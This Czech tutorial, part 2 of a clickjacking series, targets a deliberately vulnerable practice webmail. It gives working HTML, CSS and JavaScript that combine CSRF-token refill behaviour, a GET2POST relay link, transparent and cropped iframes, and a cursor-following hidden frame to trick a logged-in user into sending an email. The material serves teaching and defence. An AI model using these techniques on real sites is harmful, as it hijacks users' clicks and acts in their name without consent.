Zpět na seznam článků     Číst komentáře (1)     Verze pro tisk

Clickjacking (2)

Autor: .cCuMiNn.   
13.8.2012

V úvodním dílu seriálu o clickjackingu jsme si ukázali základní metodu spočívající v překrytí zobrazené stránky průhledným rámem a v únosu uživatelského kliknutí na konkrétním místě webové stránky. Protože nám ale umístění klikatelného prvku, skrz který útočíme, nemusí vždy vyhovovat, podíváme se v tomto dílu na přizpůsobení jeho pozice. Tohoto dílu využiji také k demonstraci útoku, který zneužívá ochrany před CSRF pro sofistikovanější clickjacking útok.


Abychom to neměli tak jednoduché, zvolím tentokrát pro demonstraci jiný příklad než v minulém dílu. V odstavci „Příklady využití“ jsem zmínil, že je možné skombinováním clickjackingu a zneužitím ochrany proti CSRF odeslat jediným nevinným kliknutím také data z předvyplněného formuláře. Právě na tomto příkladu založím dnešní ukázku. Opět zůstaneme v naší aplikaci zranitelného webmailu, kde se budeme snažit přinutit svou oběť, aby jediným kliknutím odeslala emailovou zprávu, kterou jí přichystáme.


Zneužíváme ochranu před útoky typu CSRF

Vzhledem k tomu, že jsme o CSRF již mnohokrát psali, nebudu se o tomto typu útoku příliš rozepisovat. Budu předpokládat, že víte, co tento typ útoku představuje a jak před ním své aplikace ochránit. Ideální ochrana spočívá v použití jedinečných, časově omezených autorizačních tokenů, které se přidávají k jednotlivým požadavkům. Pokud je tato ochrana v aplikaci implementována, ale současně není ošetřen clickjacking, pak lze této ochrany často jednoduše zneužít k jejímu vlastnímu zkompromitování právě clickjackingem.

Proč tomu tak je? Může se stát, že je uživateli vystaven autorizační token s desetiminutovou platností a tento je uživateli předán společně s formulářem pro vložení diskuzního příspěvku. Uživatel ovšem stráví psaním příspěvku 20 minut a po jeho odeslání je tedy token již neplatný. Dokážete si představit, jak by asi tento uživatel vyváděl, kdyby mu server pouze oznámil, že vypršela platnost autorizačního tokenu, a že má svůj příspěvek napsat znovu. Aby se tomuto zabránilo, podá sice aplikace uživateli chybovou zprávu o propadlé platnosti tokenu, ale zpráva se předvyplní do formuláře s novým autorizačním tokenem a uživateli stačí formulář pouze opětovně odeslat.

Podobně se chová také formulář pro psaní e-mailových zpráv v našem zranitelném webmailu. Schválně zkuste během odesílání zprávy zachytit požadavek a pozměňte nebo odstaňte v něm hodnotu autorizačního hashe. Výsledek bude vypadat tak, jak ukazuje následující screenshot.


OK, pojďme se vrhnout na zneužití této vlastnosti. Během odesílání jste si zajisté všimli, že se na stranu serveru, konkrétně na adresu:

http://webmail.hackingvpraxi.cz/articles/newmessage.php

odesílají vedle hashe také proměnné prijemce, subject a messagetext. Pokud by se jednalo o GET požadavek, vyvolali bychom u přihlášeného uživatele stejnou reakci ze screenshotu jednoduše tak, že bychom mu podstrčili odkaz směřující na toto URL:

http://webmail.hackingvpraxi.cz/articles/newmessage.php?hash=&prijemce=karel&subject=Test&messagetext=Testovac%ED%20zpr%E1va

Protože se ale jedná o požadavek odesílaný metodou POST, budeme nejprve muset provést konverzi metod. K tomu se nám bude výborně hodit zdejší projekt GET2POST, s jehož pomocí vytvoříme následující odkaz:

http://www.soom.cz/projects/get2post/resend.php?hash=&prijemce=karel&subject=Test&messagetext=Testovac%ED%20zpr%E1va&uri=http%3A%2F%2Fwebmail.hackingvpraxi.cz%2Farticles%2Fnewmessage.php

Jakmile uživatel přihlášený do webmailu na tento odkaz klikne, obdrží stejnou odpověď, jako byla zachycena na výše uvedeném screenshotu.

My bychom ale potřebovali, aby uživatel v tuto chvíli kliknul na tlačítko odeslat, což samozřejmě vědomě neudělá. Použijeme proto v tuto chvíli metody clickjackingu, které jsme si představili v předchozím dílu a přinutíme tak uživatele na toto tlačítko kliknout, aniž by o tom věděl. Rozdíl oproti příkladu z minulého dílu spočívá tedy pouze ve změně hodnoty parametru SRC u tagu IFRAME a změny pozice, kde chceme vykreslit naše fake tlačítko.


Měníme pozici napadeného prvku

Nyní se již dostáváme k samotné změně pozice klikatelného prvku webové stránky, proti kterému útočíme. Ne vždy nám totiž originální pozice vyhovuje a i z výše uvedeného příkladu je zřejmé, že by bylo lepší, kdybychom mohli naše fake tlačítko pro vstup vycentrovat pěkně na střed obrazovky. Jak ovšem v takovémto případě postupovat?

V reálu se mohou vyskytnout následující případy upravení pozice prvku:
a) potřebujeme prvek posunout vpravo a/nebo dolů
b) potřebujeme prvek posunout vlevo a/nebo nahoru
c) potřebujeme, aby byla vidět jen konkrétní část původní stránky

V případě prvých dvou možností nebudeme mít s pozicováním prvku téměř žádné problémy. Stačí, když jednoduše nastavíme rámu následující CSS vlastnosti:

position: relative,
left: XYpx;
top: XZpx;

Pokud jsou hodnoty XY kladné, posouváme celým rámem vpravo a/nebo dolů, pokud jsou záporné, je posunutí rámu směrováno vpravo a/nebo nahoru. Často se také hodí nastavit rámu rozměry pomocí vlastností:

width: XYpx;
height: XYpx;

Rozměry přitom volíme nejlépe tak, aby rám svým pravým spodním rohem obkreslil cílový prvek. Mnohem lépe se nám pak provádí pozicování prvku. Tím, že rámu nastavíme konkrétní šířku a výšku, se také vyvarujeme toho, že by se obsah rámu přizpůsoboval aktuálnímu rozlišení obrazovky nebo okna prohlížeče.

V neposlední řadě pak stojí za to, skrýt scrollbary rámu a případně i hlavního okna. K tomuto nám poslouží vlastnosti:

overflow: hidden
overflow-x: hidden
overflow-y: hidden
případně atribut prvku scrolling="no" v IE.

V našem konkrétním případě tedy můžeme pro vycentrování tlačítka „odeslat“, tak aby se vždy překrývalo s fake tlačítkem „vstup“ použít například následující kód. Ten vytváří prvek DIV stejných rozměrů, jako má samotný rám a je také stejně pozicovaný. Díky tomu se nám vždy pěkně kryje s obsahem rámu.

Ukázka změny pozice skrytého rámu
  1. <html>
  2.   <head></head>
  3.   <body>
  4.     <style>
  5.       #visible_div {
  6.         position: absolute;
  7.         left: 50%;
  8.         margin-left: -350px;
  9.         top: 0px;
  10.         width: 440px;
  11.         height: 430px;
  12.       }
  13.       #visible_h3 {
  14.         position: absolute;
  15.         right: 0;
  16.         top: 300px
  17.       }
  18.       #visible_btn {
  19.         position: absolute;
  20.         left: 350px;
  21.         top: 404px
  22.       }
  23.       #invisible_ifrm {
  24.         position: absolute;
  25.         left: 50%;
  26.         margin-left: -350px;
  27.         top: 0px;
  28.         width: 440px;
  29.         height: 430px;
  30.         border: none;
  31.         filter: alpha(opacity=0.2);
  32.         -moz-opacity: 0.2;
  33.         opacity: 0.2;
  34.         overflow: hidden;
  35.       }
  36.      
  37.     </style>
  38.     <div id="visible_div">
  39.       <h3 id="visible_h3">Ochrana pred vstupem botu</h3>
  40.       <input id="visible_btn" type="button" value="Klikni sem">
  41.     </div>
  42.     <iframe id="invisible_ifrm"
  43.            src="http://www.soom.cz/projects/get2post/resend.php?hash=&prijemce=karel&subject=Test&messagetext=Testovac%ED%20zpr%E1va&uri=http%3A%2F%2Fwebmail.hackingvpraxi.cz%2Farticles%2Fnewmessage.php">
  44.     </iframe>
  45.   </body>
  46. </html>


S variantou c) se setkáme například ve chvíli, kdy není možné rámu nastavit neprůhlednost a není možné nechtěné prvky stránky ani překrýt jinými rámy. Tento případ může nastat, pokud do rámu načítáme různé ActiveX prvky, součásti operačního systému a jiný lokální obsah, například při FFFjackingu. Zrovna tak tuto metodu výřezu použijeme při dynamicky umístěném rámu, o kterém si povíme níže.

V případě výřezů se mi osvědčilo vytvořit dvouúrovňové vnoření plovoucích rámů, kdy jedním rámem provedeme posun pozice tak, abychom klikatelný prvek umístili do levého horního rohu stránky a druhým rámem ořízneme obsah na požadovanou velikost a umístíme jej na konkrétní pozici ve své stránce.

content.html
  1. <html>
  2.   <head></head>
  3.   <body>
  4.     <style>
  5.       #invisible_ifrm {
  6.         position: absolute;
  7.         left: -350px;
  8.         top: -407px;
  9.         width: 440px;
  10.         height: 424px;
  11.         border: none;
  12.         overflow: hidden;
  13.       }      
  14.     </style>
  15.     <iframe id="invisible_ifrm"
  16.            src="http://www.soom.cz/projects/get2post/resend.php?hash=&prijemce=karel&subject=Test&messagetext=Testovac%ED%20zpr%E1va&uri=http%3A%2F%2Fwebmail.hackingvpraxi.cz%2Farticles%2Fnewmessage.php">
  17.     </iframe>
  18.   </body>
  19. </html>


index.html
  1. <html>
  2.   <head></head>
  3.   <body>
  4.     <style>
  5.       #invisible_ifrm {
  6.         position: absolute;
  7.         left: 50%;
  8.         margin-left: -45px;
  9.         top: 50%;
  10.         width: 90px;
  11.         height: 17px;
  12.         overflow: hidden;
  13.       }      
  14.     </style>
  15.     <iframe id="invisible_ifrm" src="content.html"></iframe>
  16.   </body>
  17. </html>

Nakonec už jen v případě potřeby nastavíme tomuto oříznutému rámu průhlednost a umístíme jej nad požadovaný fake prvek naší stránky.


Klikni si, kam chceš

Pozicování prvku nám umožňuje provádět s rámy přímo akrobatické kousky. Když už totiž umíme oříznout rámem pouze námi zvolený obsah a tento zvládneme umístit kamkoliv na svou stránku, tak už nám nic nebrání ani v tom, abychom pozici prvku měnili dynamicky. Snadno si tak vytvoříme miniaturní rám o rozměrech například 1x1 pixel, který se bude neustále nacházet přímo pod špičkou kurzoru. Ať si pak milý uživatel klikne na stránce, kde chce, my budeme mít stále jistotu, že kliká přesně na to místo, které chceme my.

Zůstaneme u našeho tlačítka pro odeslání mailu a vytvoříme si jeho dynamické sledování kurzoru. Budeme potřebovat soustavu vložených rámů z výše uvedeného příkladu, která nám z celé stránky webmailu vyřízne pouze drobnou oblast odesílacího tlačítka. Druhý výše uvedený kód stránky ovšem obohatíme o JavaScript, který se postará o změnu pozice rámu při každém pohybu kurzoru. Níže uvedený příklad je testován ve Firefoxu 14, v němž bylo nutné zachytávat událost MouseMove nad nějakým prvkem. Z tohoto důvodu se v kódu nachází prvek IMG. Ve dřívějších verzích FF a v jiných prohlížečích ovšem funguje ovladač události onMouseMove i v tagu BODY.

Dynamická změna pozice skrytého rámu
  1. <html>
  2.   <head></head>
  3.   <body>
  4.     <script>
  5.       var IE = document.all?true:false;
  6.       var tempX = 0;
  7.       var tempY = 0;
  8.      
  9.       function getMouseXY(e) {
  10.         if (IE) {
  11.           tempX = event.clientX + document.body.scrollLeft;
  12.           tempY = event.clientY + document.body.scrollTop;
  13.         }
  14.         else {
  15.           tempX = e.pageX;
  16.           tempY = e.pageY;
  17.         }
  18.         if (tempX < 0){tempX = 0;}
  19.        if (tempY < 0){tempY = 0;}
  20.        document.getElementById("invisible_ifrm").style.top = (tempY-5) + "px";
  21.        document.getElementById("invisible_ifrm").style.left = (tempX-40) + "px";
  22.        return true;
  23.      }
  24.    </script>
  25.    
  26.     <style>
  27.       #invisible_ifrm {
  28.         position: absolute;
  29.         width: 90px;
  30.         height: 17px;
  31.         overflow: hidden;
  32.       }
  33.       #backimg {
  34.         position: absolute;
  35.         width: 99%;
  36.         height: 99%;
  37.         opacity: 0;
  38.       }      
  39.     </style>
  40.    
  41.     <img  id="backimg" onMouseMove="getMouseXY(event)">
  42.     <iframe id="invisible_ifrm" src="content.html" scrolling="no"></iframe>
  43.   </body>
  44. </html>


Co nás čeká příště

Co vám zajisté přijde jako veliká nevýhoda doposud uvedených metod, je skutečnost, že po kliknutí nedochází k žádné viditelné reakci. Je to pochopitelné, protože ona reakce probíhá v průhledném rámu a díky omezení Same Origin Policy není možné tyto prokliky uvnitř rámu (jehož obsah pochází z jiné domény) zjišťovat. Přesto se v příštím díle vypořádáme i s tímto neduhem a přesvědčíme naši stránku, aby na kliknutí ve skrytém rámu pohotově reagovala.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.88/8

1  2  3  4  5    
(známkování jako ve škole)